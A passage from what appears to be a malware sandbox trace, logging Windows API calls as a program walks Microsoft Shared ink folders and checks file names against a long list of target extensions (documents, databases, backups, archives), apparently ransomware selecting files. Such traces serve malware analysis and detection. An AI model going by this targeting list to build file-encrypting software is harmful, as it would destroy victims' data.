ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0236.794] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.795] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.795] FindClose (in: hFindFile=0x3af18a0 | out: hFindFile=0x3af18a0) returned 1 [0236.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42768b8 | out: hHeap=0x530000) returned 1 [0236.795] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0236.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x42768b8 [0236.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af18a0 [0236.795] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.795] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.795] FindClose (in: hFindFile=0x3af18a0 | out: hFindFile=0x3af18a0) returned 1 [0236.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42768b8 | out: hHeap=0x530000) returned 1 [0236.796] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0236.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x42768b8 [0236.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af18a0 [0236.796] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.796] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.796] FindClose (in: hFindFile=0x3af18a0 | out: hFindFile=0x3af18a0) returned 1 [0236.796] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42768b8 | out: hHeap=0x530000) returned 1 [0236.796] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0236.796] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x42768b8 [0236.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af18a0 [0236.796] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.796] FindNextFileW (in: hFindFile=0x3af18a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.797] FindClose (in: hFindFile=0x3af18a0 | out: hFindFile=0x3af18a0) returned 1 [0236.797] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42768b8 | out: hHeap=0x530000) returned 1 [0236.797] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0236.797] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x42768b8 [0236.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af19a0 [0237.140] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.140] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0239.007] lstrlenW (lpString="FD01659_.WMF") returned 12 [0239.007] lstrlenW (lpString=".1cd") returned 4 [0239.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".3ds") returned 4 [0239.007] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".3fr") returned 4 [0239.007] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".3g2") returned 4 [0239.007] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".3gp") returned 4 [0239.007] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".7z") returned 3 [0239.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.007] lstrlenW (lpString=".accda") returned 6 [0239.007] lstrcmpiW (lpString1=".accda", lpString2="9_.WMF") returned -1 [0239.007] lstrlenW (lpString=".accdb") returned 6 [0239.007] lstrcmpiW (lpString1=".accdb", lpString2="9_.WMF") returned -1 [0239.007] lstrlenW (lpString=".accdc") returned 6 [0239.007] lstrcmpiW (lpString1=".accdc", lpString2="9_.WMF") returned -1 [0239.007] lstrlenW (lpString=".accde") returned 6 [0239.007] lstrcmpiW (lpString1=".accde", lpString2="9_.WMF") returned -1 [0239.007] lstrlenW (lpString=".accdt") returned 6 [0239.007] lstrcmpiW (lpString1=".accdt", lpString2="9_.WMF") returned -1 [0239.007] lstrlenW (lpString=".accdw") returned 6 [0239.007] lstrcmpiW (lpString1=".accdw", lpString2="9_.WMF") returned -1 [0239.007] lstrlenW (lpString=".adb") returned 4 [0239.007] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".adp") returned 4 [0239.007] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0239.007] lstrlenW (lpString=".ai") returned 3 [0239.008] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0239.008] lstrlenW (lpString=".ai3") returned 4 [0239.008] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".ai4") returned 4 [0239.008] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".ai5") returned 4 [0239.008] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".ai6") returned 4 [0239.008] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".ai7") returned 4 [0239.008] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".ai8") returned 4 [0239.008] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".anim") returned 5 [0239.008] lstrcmpiW (lpString1=".anim", lpString2="_.WMF") returned -1 [0239.008] lstrlenW (lpString=".arw") returned 4 [0239.008] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".as") returned 3 [0239.008] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0239.008] lstrlenW (lpString=".asa") returned 4 [0239.008] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".asc") returned 4 [0239.008] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".ascx") returned 5 [0239.008] lstrcmpiW (lpString1=".ascx", lpString2="_.WMF") returned -1 [0239.008] lstrlenW (lpString=".asm") returned 4 [0239.008] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".asmx") returned 5 [0239.008] lstrcmpiW (lpString1=".asmx", lpString2="_.WMF") returned -1 [0239.008] lstrlenW (lpString=".asp") returned 4 [0239.008] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".aspx") returned 5 [0239.008] lstrcmpiW (lpString1=".aspx", lpString2="_.WMF") returned -1 [0239.008] lstrlenW (lpString=".asr") returned 4 [0239.008] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".asx") returned 4 [0239.008] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0239.008] lstrlenW (lpString=".avi") returned 4 [0239.008] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".avs") returned 4 [0239.009] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".backup") returned 7 [0239.009] lstrcmpiW (lpString1=".backup", lpString2="59_.WMF") returned -1 [0239.009] lstrlenW (lpString=".bak") returned 4 [0239.009] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".bay") returned 4 [0239.009] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".bd") returned 3 [0239.009] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0239.009] lstrlenW (lpString=".bin") returned 4 [0239.009] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".bmp") returned 4 [0239.009] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".bz2") returned 4 [0239.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".c") returned 2 [0239.009] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0239.009] lstrlenW (lpString=".cdr") returned 4 [0239.009] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".cer") returned 4 [0239.009] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".cf") returned 3 [0239.009] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0239.009] lstrlenW (lpString=".cfc") returned 4 [0239.009] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".cfm") returned 4 [0239.009] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".cfml") returned 5 [0239.009] lstrcmpiW (lpString1=".cfml", lpString2="_.WMF") returned -1 [0239.009] lstrlenW (lpString=".cfu") returned 4 [0239.009] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".chm") returned 4 [0239.009] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".cin") returned 4 [0239.009] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0239.009] lstrlenW (lpString=".class") returned 6 [0239.010] lstrcmpiW (lpString1=".class", lpString2="9_.WMF") returned -1 [0239.010] lstrlenW (lpString=".clx") returned 4 [0239.010] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".config") returned 7 [0239.010] lstrcmpiW (lpString1=".config", lpString2="59_.WMF") returned -1 [0239.010] lstrlenW (lpString=".cpp") returned 4 [0239.010] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".cr2") returned 4 [0239.010] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".crt") returned 4 [0239.010] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".crw") returned 4 [0239.010] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".cs") returned 3 [0239.010] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0239.010] lstrlenW (lpString=".css") returned 4 [0239.010] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".csv") returned 4 [0239.010] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".cub") returned 4 [0239.010] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".dae") returned 4 [0239.010] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".dat") returned 4 [0239.010] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".db") returned 3 [0239.010] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0239.010] lstrlenW (lpString=".dbf") returned 4 [0239.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".dbx") returned 4 [0239.010] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0239.010] lstrlenW (lpString=".dc3") returned 4 [0239.010] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dcm") returned 4 [0239.011] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dcr") returned 4 [0239.011] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".der") returned 4 [0239.011] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dib") returned 4 [0239.011] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dic") returned 4 [0239.011] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dif") returned 4 [0239.011] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".divx") returned 5 [0239.011] lstrcmpiW (lpString1=".divx", lpString2="_.WMF") returned -1 [0239.011] lstrlenW (lpString=".djvu") returned 5 [0239.011] lstrcmpiW (lpString1=".djvu", lpString2="_.WMF") returned -1 [0239.011] lstrlenW (lpString=".dng") returned 4 [0239.011] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".doc") returned 4 [0239.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".docm") returned 5 [0239.011] lstrcmpiW (lpString1=".docm", lpString2="_.WMF") returned -1 [0239.011] lstrlenW (lpString=".docx") returned 5 [0239.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.011] lstrlenW (lpString=".dot") returned 4 [0239.011] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dotm") returned 5 [0239.011] lstrcmpiW (lpString1=".dotm", lpString2="_.WMF") returned -1 [0239.011] lstrlenW (lpString=".dotx") returned 5 [0239.011] lstrcmpiW (lpString1=".dotx", lpString2="_.WMF") returned -1 [0239.011] lstrlenW (lpString=".dpx") returned 4 [0239.011] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dqy") returned 4 [0239.011] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dsn") returned 4 [0239.011] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0239.011] lstrlenW (lpString=".dt") returned 3 [0239.011] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0239.012] lstrlenW (lpString=".dtd") returned 4 [0239.012] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".dwg") returned 4 [0239.012] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".dwt") returned 4 [0239.012] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".dx") returned 3 [0239.012] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0239.012] lstrlenW (lpString=".dxf") returned 4 [0239.012] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".edml") returned 5 [0239.012] lstrcmpiW (lpString1=".edml", lpString2="_.WMF") returned -1 [0239.012] lstrlenW (lpString=".efd") returned 4 [0239.012] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".elf") returned 4 [0239.012] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".emf") returned 4 [0239.012] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".emz") returned 4 [0239.012] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".epf") returned 4 [0239.012] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".eps") returned 4 [0239.012] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".epsf") returned 5 [0239.012] lstrcmpiW (lpString1=".epsf", lpString2="_.WMF") returned -1 [0239.012] lstrlenW (lpString=".epsp") returned 5 [0239.012] lstrcmpiW (lpString1=".epsp", lpString2="_.WMF") returned -1 [0239.012] lstrlenW (lpString=".erf") returned 4 [0239.012] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".exr") returned 4 [0239.012] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".f4v") returned 4 [0239.012] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0239.012] lstrlenW (lpString=".fido") returned 5 [0239.012] lstrcmpiW (lpString1=".fido", lpString2="_.WMF") returned -1 [0239.012] lstrlenW (lpString=".flm") returned 4 [0239.012] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".flv") returned 4 [0239.013] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".frm") returned 4 [0239.013] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".fxg") returned 4 [0239.013] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".geo") returned 4 [0239.013] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".gif") returned 4 [0239.013] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".grs") returned 4 [0239.013] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".gz") returned 3 [0239.013] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0239.013] lstrlenW (lpString=".h") returned 2 [0239.013] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0239.013] lstrlenW (lpString=".hdr") returned 4 [0239.013] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".hpp") returned 4 [0239.013] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".hta") returned 4 [0239.013] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".htc") returned 4 [0239.013] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".htm") returned 4 [0239.013] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".html") returned 5 [0239.013] lstrcmpiW (lpString1=".html", lpString2="_.WMF") returned -1 [0239.013] lstrlenW (lpString=".icb") returned 4 [0239.013] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".ics") returned 4 [0239.013] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".iff") returned 4 [0239.013] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".inc") returned 4 [0239.013] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0239.013] lstrlenW (lpString=".indd") returned 5 [0239.013] lstrcmpiW (lpString1=".indd", lpString2="_.WMF") returned -1 [0239.014] lstrlenW (lpString=".ini") returned 4 [0239.014] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".iqy") returned 4 [0239.014] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".j2c") 